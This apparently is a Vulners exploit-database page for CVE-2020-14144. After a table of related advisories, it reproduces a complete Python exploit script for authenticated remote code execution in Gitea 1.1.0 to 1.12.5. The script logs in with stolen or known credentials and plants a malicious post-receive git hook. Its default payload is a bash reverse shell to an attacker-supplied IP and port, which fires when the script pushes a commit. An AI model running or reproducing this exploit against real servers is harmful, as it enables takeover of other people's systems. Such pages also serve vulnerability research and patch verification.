| Reporter | Title | Published | Views | Family All 32 |
|---|---|---|---|---|
| Gitea 1.12.5 - Remote Code Execution (Authenticated) Exploit | 18 Feb 202100:00 | – | zdt | |
| Gitea Git Hooks Remote Code Execution Exploit | 7 Apr 202100:00 | – | zdt | |
| Gogs Git Hooks Remote Code Execution Exploit | 7 Apr 202100:00 | – | zdt | |
| Exploit for OS Command Injection in Gitea | 14 Feb 202613:41 | – | githubexploit | |
| Exploit for OS Command Injection in Gitea | 8 Mar 202217:14 | – | githubexploit | |
| CVE-2020-15867 | 16 Oct 202000:00 | – | attackerkb | |
| CVE-2020-14144 | 16 Oct 202000:00 | – | attackerkb | |
| CVE-2020-14144 | 7 Apr 202118:51 | – | circl | |
| Gogs OS Command Injection Vulnerability | 19 Oct 202000:00 | – | cnvd | |
| CVE-2020-14144 | 16 Oct 202013:02 | – | cve |
# Exploit Title: Gitea 1.12.5 - Remote Code Execution (Authenticated)
# Date: 17 Feb 2020
# Exploit Author: Podalirius
# PoC demonstration article: https://podalirius.net/en/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/
# Vendor Homepage: https://gitea.io/
# Software Link: https://dl.gitea.io/
# Version: >= 1.1.0 to <= 1.12.5
# Tested on: Ubuntu 16.04 with GiTea 1.6.1
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import os
import pexpect
import random
import re
import sys
import time
import requests
requests.packages.urllib3.disable_warnings()
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
pass
class GiTea(object):
def __init__(self, host, verbose=False):
super(GiTea, self).__init__()
self.verbose = verbose
self.host = host
self.username = None
self.password = None
self.uid = None
self.session = None
def _get_csrf(self, url):
pattern = 'name="_csrf" content="([a-zA-Z0-9\-\_=]+)"'
csrf = []
while len(csrf) == 0:
r = self.session.get(url)
csrf = re.findall(pattern, r.text)
time.sleep(1)
csrf = csrf[0]
return csrf
def _get_uid(self, url):
pattern = 'name="_uid" content="([0-9]+)"'
uid = re.findall(pattern, self.session.get(url).text)
while len(uid) == 0:
time.sleep(1)
uid = re.findall(pattern, self.session.get(url).text)
uid = uid[0]
return int(uid)
def login(self, username, password):
if self.verbose == True:
print(" [>] login('%s', ...)" % username)
self.session = requests.Session()
r = self.session.get('%s/user/login' % self.host)
self.username = username
self.password = password
# Logging in
csrf = self._get_csrf(self.host)
r = self.session.post(
'%s/user/login?redirect_to=%%2f%s' % (self.host, self.username),
data = {'_csrf':csrf, 'user_name':username, 'password':password},
allow_redirects=True
)
if b'Username or password is incorrect.' in r.content:
return False
else:
# Getting User id
self.uid = self._get_uid(self.host)
return True
def repo_create(self, repository_name):
if self.verbose == True:
print(" [>] Creating repository : %s" % repository_name)
csrf = self._get_csrf(self.host)
# Create repo
r = self.session.post(
'%s/repo/create' % self.host,
data = {
'_csrf' : csrf,
'uid' : self.uid,
'repo_name' : repository_name,
'description' : "Lorem Ipsum",
'gitignores' : '',
'license' : '',
'readme' : 'Default',
'auto_init' : 'off'
}
)
return None
def repo_delete(self, repository_name):
if self.verbose == True:
print(" [>] Deleting repository : %s" % repository_name)
csrf = self._get_csrf('%s/%s/%s/settings' % (self.host, self.username, repository_name))
# Delete repository
r = self.session.post(
'%s/%s/%s/settings' % (self.host, self.username, repository_name),
data = {
'_csrf' : csrf,
'action' : "delete",
'repo_name' : repository_name
}
)
return
def repo_set_githook_pre_receive(self, repository_name, content):
if self.verbose == True:
print(" [>] repo_set_githook_pre_receive('%s')" % repository_name)
csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name))
# Set pre receive git hook
r = self.session.post(
'%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name),
data = {
'_csrf' : csrf,
'content' : content
}
)
return
def repo_set_githook_update(self, repository_name, content):
if self.verbose == True:
print(" [>] repo_set_githook_update('%s')" % repository_name)
csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name))
# Set update git hook
r = self.session.post(
'%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name),
data = {
'_csrf' : csrf,
'content' : content
}
)
return
def repo_set_githook_post_receive(self, repository_name, content):
if self.verbose == True:
print(" [>] repo_set_githook_post_receive('%s')" % repository_name)
csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name))
# Set post receive git hook
r = self.session.post(
'%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name),
data = {
'_csrf' : csrf,
'content' : content
}
)
return
def logout(self):
if self.verbose == True:
print(" [>] logout()")
# Logging out
r = self.session.get('%s/user/logout' % self.host)
return None
def trigger_exploit(host, username, password, repository_name, verbose=False):
# Create a temporary directory
tmpdir = os.popen('mktemp -d').read().strip()
os.chdir(tmpdir)
# We create some files in the repository
os.system('touch README.md')
rndstring = ''.join([hex(random.randint(0,15))[2:] for k in range(32)])
os.system('echo "%s" >> README.md' % rndstring)
os.system('git init')
os.system('git add README.md')
os.system('git commit -m "Initial commit"')
# Connect to remote source repository
os.system('git remote add origin %s/%s/%s.git' % (host, username, repository_name))
# Push the files (it will trigger post-receive git hook)
conn = pexpect.spawn("/bin/bash -c 'cd %s && git push -u origin master'" % tmpdir)
conn.expect("Username for .*: ")
conn.sendline(username)
conn.expect("Password for .*: ")
conn.sendline(password)
conn.expect("Total.*")
print(conn.before.decode('utf-8').strip())
return None
def header():
print(""" _____ _ _______
/ ____(_)__ __| CVE-2020-14144
| | __ _ | | ___ __ _
| | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution
| |__| | | | | __/ (_| |
\_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5
""")
if __name__ == '__main__':
header()
parser = argparse.ArgumentParser(description='Process some integers.')
parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Increase verbosity.')
parser.add_argument('-t','--target', required=True, type=str, help='Target host (http://..., https://... or domain name)')
parser.add_argument('-u','--username', required=True, type=str, default=None, help='GiTea username')
parser.add_argument('-p','--password', required=True, type=str, default=None, help='GiTea password')
parser.add_argument('-I','--rev-ip', required=False, type=str, default=None, help='Reverse shell listener IP')
parser.add_argument('-P','--rev-port', required=False, type=int, default=None, help='Reverse shell listener port')
parser.add_argument('-f','--payload-file', required=False, default=None, help='Path to shell script payload to use.')
args = parser.parse_args()
if (args.rev_ip == None or args.rev_port == None):
if args.payload_file == None:
print('[!] Either (-I REV_IP and -P REV_PORT) or (-f PAYLOAD_FILE) options are needed')
sys.exit(-1)
# Read specific payload file
if args.payload_file != None:
f = open(args.payload_file, 'r')
hook_payload = ''.join(f.readlines())
f.close()
else:
hook_payload = """#!/bin/bash\nbash -i >& /dev/tcp/%s/%d 0>&1 &\n""" % (args.rev_ip, args.rev_port)
if args.target.startswith('http://'):
pass
elif args.target.startswith('https://'):
pass
else:
args.target = 'https://' + args.target
print('[+] Starting exploit ...')
g = GiTea(args.target, verbose=args.verbose)
if g.login(args.username, args.password):
reponame = 'vuln'
g.repo_delete(reponame)
g.repo_create(reponame)
g.repo_set_githook_post_receive(reponame, hook_payload)
g.logout()
trigger_exploit(g.host, g.username, g.password, reponame, verbose=args.verbose)
g.repo_delete(reponame)
else:
print('\x1b[1;91m[!]\x1b[0m Could not login with these credentials.')
print('[+] Exploit completed !')Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation